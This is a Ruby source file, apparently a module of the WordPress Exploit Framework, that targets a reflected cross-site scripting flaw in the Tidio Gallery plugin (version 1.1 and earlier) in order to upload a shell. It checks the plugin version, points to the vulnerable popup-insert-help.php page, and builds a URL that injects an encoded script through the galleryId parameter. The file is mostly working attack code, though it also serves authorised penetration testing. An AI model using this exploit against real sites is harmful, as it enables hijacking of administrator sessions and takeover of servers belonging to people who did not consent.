lib/wpxf/modules/exploit/xss/reflected/tidio_gallery_reflected_xss_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::TidioGalleryReflectedXssShellUpload < Wpxf::Module
include Wpxf::WordPress::ReflectedXss
def initialize
super
update_info(
name: 'Tidio Gallery <= 1.1 Reflected XSS Shell Upload',
author: [
'Larry W. Cashdollar', # Discovery
'rastating' # WPXF module
],
references: [
['WPVDB', '8444'],
['URL', 'http://www.vapidlabs.com/wp/wp_advisory.php?v=427']
],
date: 'Feb 09 2016'
)
end
def check
check_plugin_version_from_changelog('tidio-gallery', 'readme.txt', '1.2')
end
def vulnerable_url
normalize_uri(wordpress_url_plugins, 'tidio-gallery', 'popup-insert-help.php')
end
def url_with_xss
"#{vulnerable_url}?galleryId=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C%22"
end
end